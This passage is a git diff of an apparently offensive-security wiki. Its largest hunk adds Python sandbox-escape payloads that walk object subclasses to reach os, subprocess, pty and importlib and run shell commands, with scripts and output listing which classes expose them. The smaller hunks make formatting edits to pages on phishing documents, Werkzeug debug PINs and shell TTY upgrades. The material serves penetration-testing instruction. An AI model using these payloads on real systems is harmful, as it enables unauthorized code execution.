'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] +``` + +There are a lot, and we just need one to execute commands: + +```python +[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") +``` + +We can do the same thing with **other libraries** that we know can be used to execute commands: + +```python +#os +[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") +#commands (not very common) +[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls") +#subprocess +[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" in x.__init__.__globals__ ][0]["subprocess"].Popen("ls") +#pty (not very common) +[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls") +#importlib +[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls") +[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls") +#builtins +[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls") +``` + +Moreover, we could even search which modules are loading malicious libraries: + +```python +bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip"] +for b in bad_libraries_names: + vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ] + print(f"{b}: {', '.join(vuln_libs)}") + +""" +os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations +commands: +subprocess: BaseDependency, Origin, Version, Package +pty: +importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path +imp: +sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close +builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature +""" +``` + +Moreover, if you think **other libraries** may be able to **invoke functions to execute commands**, we can also **filter by functions names** inside the possible libraries: + +```python +bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip"] +bad_func_names = ["system", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] +for b in bad_libraries_names + bad_func_names: + vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ] + print(f"{b}: {', '.join(vuln_funcs)}") + +""" +os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations +commands: +subprocess: BaseDependency, Origin, Version, Package +pty: +importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path +imp: +sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close +builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature +pip: +system: _wrap_close, _wrap_close +getstatusoutput: CompletedProcess, Popen +getoutput: CompletedProcess, Popen +call: CompletedProcess, Popen +Popen: CompletedProcess, Popen +spawn: +import_module: +__import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec +load_source: NullImporter, _HackedGetData +execfile: +execute: +__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close +""" +``` + ### Finding types ```python diff --git a/mobile-apps-pentesting/ios-pentesting/README.md b/mobile-apps-pentesting/ios-pentesting/README.md index 502c77a9a..f91cfc660 100644 --- a/mobile-apps-pentesting/ios-pentesting/README.md +++ b/mobile-apps-pentesting/ios-pentesting/README.md @@ -601,7 +601,7 @@ Many apps log informative \(and potentially sensitive\) messages to the console 5. Reproduce the problem. 6. Click on the **Open Console** button located in the upper right-hand area of the Devices window to view the console logs on a separate window. -![](../../.gitbook/assets/image%20%28466%29%20%282%29%20%282%29%20%281%29.png) +![](../../.gitbook/assets/image%20%28466%29%20%282%29%20%282%29%20%282%29%20%281%29.png) You can also connect to the device shell as explained in Accessing the Device Shell, install **socat** via **apt-get** and run the following command: diff --git a/pentesting-web/open-redirect.md b/pentesting-web/open-redirect.md index 7d6d27ff4..570c2766e 100644 --- a/pentesting-web/open-redirect.md +++ b/pentesting-web/open-redirect.md @@ -779,7 +779,7 @@ exit; ## Resources -In [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) you can find fuzzing lists. +In [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) you can find fuzzing lists. [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html) [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads) diff --git a/pentesting/pentesting-web/werkzeug.md b/pentesting/pentesting-web/werkzeug.md index cfd31ad59..7fb3ddb03 100644 --- a/pentesting/pentesting-web/werkzeug.md +++ b/pentesting/pentesting-web/werkzeug.md @@ -133,7 +133,7 @@ private_bits = [ * `username` is the user who started this Flask * `modname` is flask.app * `getattr(app, '__name__', getattr (app .__ class__, '__name__'))` is Flask -* `getattr(mod, '__file__', None)` is the absolute path of `app.py` in the flask directory (e.g. `/usr/local/lib/python3.5/dist-packages/flask/app.py`). If `app.py` doesn't work, try `app.pyc` +* `getattr(mod, '__file__', None)` is the absolute path of `app.py` in the flask directory \(e.g. `/usr/local/lib/python3.5/dist-packages/flask/app.py`\). If `app.py` doesn't work, try `app.pyc` * `uuid.getnode()` is the MAC address of the current computer, `str (uuid.getnode ())` is the decimal expression of the mac address * `get_machine_id()` read the value in `/etc/machine-id` or `/proc/sys/kernel/random/boot_id` and return directly if there is, sometimes it might be required to append a piece of information within `/proc/self/cgroup` that you find at the end of the first line \(after the third slash\) diff --git a/phishing-methodology/detecting-phising.md b/phishing-methodology/detecting-phising.md index 9ec2454b2..786a5a565 100644 --- a/phishing-methodology/detecting-phising.md +++ b/phishing-methodology/detecting-phising.md @@ -34,7 +34,7 @@ For more information read [https://www.bleepingcomputer.com/news/security/hijack ### Basic checks -Once you have a list of potential suspicions domain names you should **check** them \(mainly the ports HTTP and HTTPS\) to **see if they are using some login form similar** to someone of the victim's domain. +Once you have a list of potential suspicions domain names you should **check** them \(mainly the ports HTTP and HTTPS\) to **see if they are using some login form similar** to someone of the victim's domain. You could also check the port 3333 to see if it's open and running an instance of `gophish`. It's also interesting to know **how old each discovered suspicions domain is**, the younger it's the riskier it is. You can also get **screenshots** of the HTTP and/or HTTPS suspicious web page to see if it's really suspicious and in that case **access it to take a deeper look**. @@ -51,7 +51,7 @@ The parent page also mentions a domain name variation technique that consist on ### Certificate Transparency -It's not possible to take the previous "Brute-Force" approach but it's actually **possible to uncover this phishing attempts** also thanks to certificate transparency. Every time a certificate is emitted by a CA, the details are made public. This means that reading the certificate transparency or even monitoring it, it's **possible to find domains that are using a keyword inside it's name** For example, if attackers generates a certificate of https://paypal-financial.com, seeing the certificate it's possible to find the keyword "paypal" and know that that suspicions email is being used. +It's not possible to take the previous "Brute-Force" approach but it's actually **possible to uncover this phishing attempts** also thanks to certificate transparency. Every time a certificate is emitted by a CA, the details are made public. This means that reading the certificate transparency or even monitoring it, it's **possible to find domains that are using a keyword inside it's name** For example, if attackers generates a certificate of [https://paypal-financial.com](https://paypal-financial.com), seeing the certificate it's possible to find the keyword "paypal" and know that that suspicions email is being used. The post [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) suggest that you can use Censys to search for certificates affecting a specific keyword and filter by date \(only "new" certificates\) and by the CA issuer "Let's Encrypt": diff --git a/phishing-methodology/phishing-documents.md b/phishing-methodology/phishing-documents.md index 4db94c34d..ddc3ff5d1 100644 --- a/phishing-methodology/phishing-documents.md +++ b/phishing-methodology/phishing-documents.md @@ -17,7 +17,7 @@ DOCX files referencing a remote template \(File –Options –Add-ins –Manage: ### Word with external image Go to: _Insert --> Quick Parts --> Field_ -_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**: http://<ip>/whatever_ +_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ [http://<ip>/whatever](http:///whatever) ![](../.gitbook/assets/image%20%28347%29.png) diff --git a/shells/shells/full-ttys.md b/shells/shells/full-ttys.md index d89ab1a18..baee10121 100644 --- a/shells/shells/full-ttys.md +++ b/shells/shells/full-ttys.md @@ -2,9 +2,8 @@ ## Full TTY -Note that the shell you set in the `SHELL` variable **must** be **listed inside** _**/etc/shells**_ or `The value for the SHELL variable was not found the /etc/shells file -This incident has been reported`. -Also note that the next snippets only work in bash. If you're in a zsh, change to a bash before obtaining the shell by running `bash`. +Note that the shell you set in the `SHELL` variable **must** be **listed inside** _**/etc/shells**_ or `The value for the SHELL variable was not found the /etc/shells file +This incident has been reported`. Also note that the next snippets only work in bash. If you're in a zsh, change to a bash before obtaining the shell by running `bash`. ```bash python3 -c 'import pty; pty.spawn("/bin/bash")' @@ -13,7 +12,7 @@ python3 -c 'import pty; pty.spawn("/bin/bash")' ```bash script -qc /bin/bash /dev/null -(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset; +(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset; ``` ```bash